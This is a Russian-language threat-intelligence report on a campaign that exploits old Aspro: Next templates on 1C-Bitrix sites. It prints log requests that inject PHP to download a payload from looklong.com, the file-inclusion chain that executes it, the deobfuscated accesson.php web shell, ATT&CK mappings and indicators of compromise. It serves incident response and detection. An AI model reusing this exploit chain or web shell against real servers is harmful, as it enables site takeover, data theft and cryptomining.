Вредоносная кампания нацеленная на системы с CMS "Битрикс" и "Аспро: Next"
АО "ПМ"Экспертами Центра мониторинга и Направления исследования киберугроз АО "ПМ" была выявлена и проанализирована вредоносная активность, затрагивающая веб-сервера под управлением CMS "Битрикс".
После первичного анализа логов веб-сервера была выявлена серия подозрительных HTTP-запросов:
GET /ajax/error_log_logic.php?data=<?php file_put_contents($_SERVER["DOCUMENT_ROOT"]."/ajax/0e4db7c8ae32.php",file_get_contents("http://looklong.com/accesson20.html"));unlink($_SERVER["DOCUMENT_ROOT"]."/ajax/js_error.txt");?>
GET /ajax/js_error.php?data=<?php file_put_contents($_SERVER["DOCUMENT_ROOT"]."/ajax/0e4db7c8ae32.php",file_get_contents("http://looklong.com/accesson20.html"));unlink($_SERVER["DOCUMENT_ROOT"]."/ajax/js_error.txt");?>
GET /ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt
GET /form/index.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt
GET /ajax/0e4db7c8ae32.php
Поиск информации в открытых источниках привел к активному обсуждению проблемы взломов веб-серверов на форуме разработчиков 1С-Битрикс:
[30.01.2025 11:03:33]
Сегодня обнаружил на нескольких сайтах (разные хостинги) в папке ajax файлы вида 5af47f5502b6.php
...
[30.01.2025 14:16:19]
Антивирус в проактивной защите работает, ничего особого не показывает. Несколько подозрительных файлов удалил с его помощью. Хостинговый антивирус тоже ничего не показывает.
[30.01.2025 16:12:20]
У нас такой список файлов:
new file: ajax/3d1abf4eee.php
new file: ajax/7e2d0f6628.php
new file: ajax/f195bf25c3b0.php
new file: ajax/php.ini
new file: assets/images/accesson.php
По информации коллег из SOC компании hoster.by, хронология данной вредоносной активности начинается с конца августа 2024 года. Жертвами злоумышленника являются пользователи продуктов "Аспро", не обновившие ПО до версии Аспро: Next 1.9.9.
Пользователи, сообщавшие о компрометации серверов, указывали на возможную связь атак с установленным расширением "АСПРО" для Битрикс:
[30.01.2025 16:22:49]
Шаблон АСПРО случайно не стоит?
[30.01.2025 16:25:17]
Да, заражение связано из-за уязвимостей файлов шаблона АСПРО старой версии
Причем, в упомянутом тематическом обсуждении интересное отличие в технических деталях заключалось в том, что в логах обращений к серверам указывались другие конечные адреса, однако последний запрос в цепочке опять указывает на обращение к PHP-файлу, имеющему такой же формат названия, какой был описан выше:
POST /ajax/show_basket_fly.php POST /ajax/show_basket_popup.php POST /ajax/reload_basket_fly.php GET /ajax/f195bf25c3b0.php
После насыщения контекста новыми деталями, был проведен дополнительный ресерч, по результатам которого удалось полноценно восстановить вектор заражения/компрометации.
⚠️ Эксплуатируемые уязвимости:
Экспертами АО "ПМ" было установлено, что в рамках вредоносной кампании активно эксплуатируются несколько уязвимостей в продуктах "Аспро":
1) Небезопасная десериализация (CWE-502) в следующих модулях системы:
• /ajax/show_basket_fly.php
• /ajax/show_basket_popup.php
• /ajax/reload_basket_fly.php
• /include/mainpage/comp_catalog_ajax.php
• /include/mainpage/comp_sections.php
• /bitrix/components/aspro/oneclickbuy.max/script.php
Данная уязвимость заключается в отсутствии валидации входных данных - сериализованных PHP-объектов. Это позволяет злоумышленнику указать в запросе объект, содержащий произвольный код, который будет исполнен при обработке запроса системой.
Согласно информации от вендора, данная уязвимость была устранена еще летом 2023 года и не освещалась в информационном поле, чтобы не давать злоумышленникам технических подробностей и обеспечить своим пользователям время для обновления/ручного исправления своего продукта:
В актуальных версиях никаких уязвимостей нет. Страдают проекты на старых версиях или перенесенные, но с ошибками, на новые решения.
6 февраля 2025 года в базе знаний вендора также были опубликованы несколько статей по исправлению данной уязвимости:
• Общая информация по исправлению уязвимости unserialize
• Исправление уязвимости unserialise в Аспро: Максимум
2) Возможность обращения ко внутреннему API логирования системы (CWE-346), приводящая к записи произвольных файлов.
Данная уязвимость заключается в доступности конечного адреса '/ajax/error_log_logic.php' системы и отсутствии проверки входных данных в параметре 'data=' запроса к данному URI. Это позволяет злоумышленнику отправить запрос следующего вида:
GET /ajax/error_log_logic.php?data=<?php ...полезная_нагрузка... ?>
Который вызовет обращение к внутреннему модулю '/ajax/js_error.php' системы:
GET /ajax/js_error.php?data=<?php ...полезная_нагрузка... ?>
Что приводит к записи значения параметра 'data=' в лог-файл /ajax/js_error.txt системы.
Далее путем отправки злоумышленником серии запросов:
GET /ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt
GET /form/index.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt
Происходит включение содержимого ранее записанного файла /ajax/js_error.txt в тело ответа сервера на запросы. Это приводит к исполнению полезной нагрузки и компрометации веб-сервера.
🦠 Используемое ВПО:
Отличительной чертой наблюдаемой активности является загрузка вредоносных файлов с названиями формата '/ajax/<10-12 шестнадцатеричных символов>.php' и '*/accesson.php':
new file: ajax/3d1abf4eee.php new file: ajax/7e2d0f6628.php new file: ajax/f195bf25c3b0.php new file: ajax/php.ini new file: assets/images/accesson.php
Анализ полезной нагрузки, отправляемой злоумышленником при эксплуатации описанных уязвимостей, выявил совпадение с веб-шеллом accesson.php, используемым в целевых атаках на системы под управлением CMS Битрикс и наблюдаемым специалистами ЦМ АО "ПМ" с первой половины 2023 года.
Деобфусцированный веб-шелл выглядел следующим образом:
<?php
echo 409723*20;
if(md5($_COOKIE["d"])=="17028f487cb2a84607646da3ad3878ec")
{
echo"ok";
eval(base64_decode($_REQUEST["id"]));
if($_POST["up"]=="up")
{
@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
}
}
?>
🆔 Атрибуция злоумышленника:
Используя методы Threat Intelligence, удалось установить пересечение с другой волной атак, которая освещалась на форуме 1С-Битрикс с 28.06.2022 по 21.09.2024. Причем название темы обсуждений "Взломаны сайты в честь дня конституции Украины" вызывает интерес и выглядит красноречиво.
Так, из ключевых сходств с рассматриваемым случаем имеем:
• Были атакованы веб-сайты под управлением Битрикс;
• IP-адреc 79.137[.]206.177 (один из атакующих адресов, наблюдаемый в текущей кампании) отмечен как активно атакующий:
[05.02.2024 15:16:24]
В логах последнюю неделю пытались загрузить файлы с IPшника 79.137[.]206.177
• В указанных комментатором логах много обращений вида "GET /f195bf25c3b0.php", что совпадает с наблюдаемым вектором атаки.
На основе проанализированной информации можно сделать вывод об аффилированности атакующих в январе-феврале 2025 года и атаковавших с 28 июня 2022 года, причем данная группа лиц действует (в том числе) по политическим мотивам:
# 28 июня, совпадает с началом периода активности
Взломаны сайты в честь дня конституции Украины
[28.06.2022 11:08:03]
Выглядит как скрипт по таймеру, ждали текущей даты\времени и массово запустилось.
[28.06.2022 11:51:29]
Добавлен файл /bitrix/tools/putin_h***o.php
Сменены пароли у всех пользователей
...
География жертв - Россия, Беларусь.
Сфера деятельности жертв - преимущественно e-commerce.
Цели атаки - утечка ПД, распространение майнеров криптовалюты. Согласно информации от hoster.by:
«Мы не нашли следов каких-либо деструктивных действий по отношению к чувствительной информации клиентов. Поэтому полагаем, что в инцидентах целью злоумышленников был заработок через майнинг криптовалюты...
...Но не исключено, что это было только началом, и отсутствие быстрой реакции со стороны центра кибербезопасности могло бы привести к утечкам конфиденциальной информации или персональных данных».
👤 TTP-профиль злоумышленника:
🛠️ Подготовка ресурсов (TA0042):
• Компрометация легитимных хостов (T1584) для размещения там ВПО, которое будет загружено на хосты-жертвы с помощью стейджера;
• Регистрация доменных имен (T1583.001), используемых для проведения атак;
• Аренда инфраструктуры (T1583.003): почти половина атакующих адресов относится к хостинг-провайдеру "AEZA";
• В качестве инструментария злоумышленник использует open-source решения (T1588.001): веб-шелл 'accesson.php' и майнер криптовалюты 'xmrig'.
🚪 Первоначальный доступ (TA0001):
• Эксплуатация известных уязвимостей в веб-серверах (T1190) под управлением Битрикс / Битрикс + Аспро: Next.
🏠 Закрепление (TA0003):
• Злоумышленник загружал и использовал веб-шелл 'accesson.php' (T1505.003).
🕶️ Предотвращение обнаружения (TA0005):
• Злоумышленник использовал base64-кодирование и PHP-обфускацию (T1140) с целью сокрытия полезной нагрузки при эксплуатации уязвимостей;
• PHP-скрипт, записываемый в служебный файл 'js_error.txt' при эксплуатации уязвимости в Аспро: Next, подразумевал удаление данного файла после своего исполнения (T1070.004);
• Для закрепления в системе, злоумышленник создавал в веб-директории ряд файлов, имя и расположение которых похоже на легитимные (T1036.005). Например: /aspro_regions/robots/robots/index.php.
🗃️ Получение учетных данных (TA0006):
• Согласно комментариям на тематических форумах 1С-Битрикс, данный злоумышленник также активно перебирал пароли (T1110) от веб-сервисов с целью получения НСД.
🎛️ Command & Control (TA0011):
• В качестве C2-канала использовался загружаемый веб-шелл 'accesson.php', способный на выполнение произвольного кода и загрузку удаленных файлов (T1071.001);
• Злоумышленник догружал ВПО и инструменты (T1105) в систему посредством использования веб-шелла;
• Злоумышленник активно использовал Tor (T1090.003) в процессе проведения атак на веб-сервера.
💣 Нанесение ущерба (TA0040):
• Злоумышленник вставлял вредоносный контент: всплывающие окна, ссылки-перенаправления (T1491) в лендинг-страницы скомпрометированных веб-сайтов;
• Злоумышленник разворачивал майнер криптовалюты XMRig (T1496.001) на скомпрометированных веб-серверах.
🏹 Threat Hunting:
Для проактивного поиска угроз внутри инфраструктуры необходимо проверить наличие и содержимое следующих файлов в системе под управлением Битрикс/Аспро:
/aspro_regions/robots/connector.php
/bitrix/admin/xscan_worker.php
/assets/img/accession.php
/assets/img/accesson.php
/images/mediacontent/next_blog/next_blog/index.php
/images/mediacontent/next_blog/next_blog/qBlfmwVpzrutK.jpx
/store/store/YlnjhceuE.3gp
/store/store/index.php
/aspro-sitemap/aspro-sitemap/index.php
/catalog/catalog/index.php
/search/map/map/G.f4v
/search/map/map/index.php
/aspro-sitemap/aspro-sitemap/aspro-sitemap/index.php
/aspro-sitemap/aspro-sitemap/aspro-sitemap/uvBQTnZxfkAqb.mp4
/news/news/NkgtvCfyiIQPuKA.m4a
/news/news/index.php
/help/warranty/warranty/index.php
/aspro_regions/robots/robots/index.php
/search/map/map/map/index.php
/search/map/map/map/qRbQEt.wav
/services/services/index.php
/catalog/catalog/catalog/index.php
/services/services/services/index.php
/services/services/services/sWGEufVUpnXeQ.jpx
/assets/images/images/QKHS.jpx
/assets/images/images/index.php
/app/settings/settings/index.php
/include/form/form/index.php
/images/toggige-arrow.jpg
/index.php
/bitrix/templates/aspro/footer.php
/ajax/php.ini
/ajax/[a-f0-9]{10,12}.php
/ajax/js_error.txt
Также рекомендуется проверить следующие гипотезы:
1) В случае системы с Аспро: Next, необходимо проверить наличие файла /form/index.php в проекте:
• Данный файл указан вендором как устаревший и подлежащий удалению, если он обнаружен - необходимо проверить лог обращений к веб-серверу на предмет запросов вида GET /form/index.php?...&url=/ajax/js_error.txt.
• Если результат положительный - система с высокой вероятностью была скомпрометирована.
2) В случае системы с Аспро: Next необходимо проверить содержимое файла /ajax/form.php:
• Если в файле отсутствует код file_exists($url_sizes) и присутствует код $form_id === 'TABLES_SIZE', то система с высокой вероятностью уязвима и требует обновления/патчинга.
3) Проверить TLS-сертификаты адресов, обращения с которых кажутся подозрительными:
• В случае, если в полях 'Issuer-CN' или 'Subject-CN' указаны значения, напоминающие сгенерированное доменное имя (например, sdhjh12g3b.xyz) - следует заблокировать адрес на уровне сетевых СЗИ.
4) Проверить WHOIS-записи адресов, обращения с которых кажутся подозрительными:
• В случае, если провайдером адреса является "Aeza Network", "AEZA.NET" или "Aeza International Ltd." - необходимо вести наблюдение за дальнейшей активностью от адреса.
5) Запрос Censys, позволяющий определить ретрансляторы/выходные узлы сети Tor по их JARM-отпечатку:
services.jarm.fingerprint=3fd3fd0003fd3fd00043d43d00000023f2ae7180b8a0816654f2296c007d93
🎯 Индикаторы компрометации:
# Bitrix/Aspro attacker addresses 103.249.133.199 103.249.135.124 82.117.87.97 94.228.162.228 filhaemcristo.com 77.239.124.250 77.239.99.155 45.142.122.46 cw1320.hearingtell.com 75.2.115.196 185.125.219.93 31.133.0.26 149.102.246.22 46.226.166.50 5.252.118.211 178.236.246.200 89.22.225.211 89.22.237.65 178.236.247.6 79.137.206.177 165.232.173.61 143.198.201.214 85.192.30.191 138.124.78.239 92.53.96.242 looklong.com # Possible compromised legitimate addresses https://www.raiskiysad[.]ru/upload/iblock/0df/3.php https://www.oakridge[.]in/whatCyberDefenseDoing//?<domain>&by=328dfb # Tor malicious relays / exit nodes 204.8.96.167 45.61.185.172 185.220.101.15 185.220.100.240 185.130.44.59 185.40.4.100 185.220.101.14 45.139.122.176 185.40.4.92 185.220.100.253 107.189.1.167 185.244.192.175 109.70.100.0/25 185.220.100.240/28 185.207.107.0/24 185.220.101.32/27 # MiningOcean mining pool 188.165.76.243 miningocean.org # Webshell hashes 3.php | 07a3fe9875d3a8b7c57874c4cc509929 4.php | 50b7604d856f36983b9bb3066f894f3f 0e4db7c8ae32.php | 2159813ce1b8f15359fbe8d209ed9359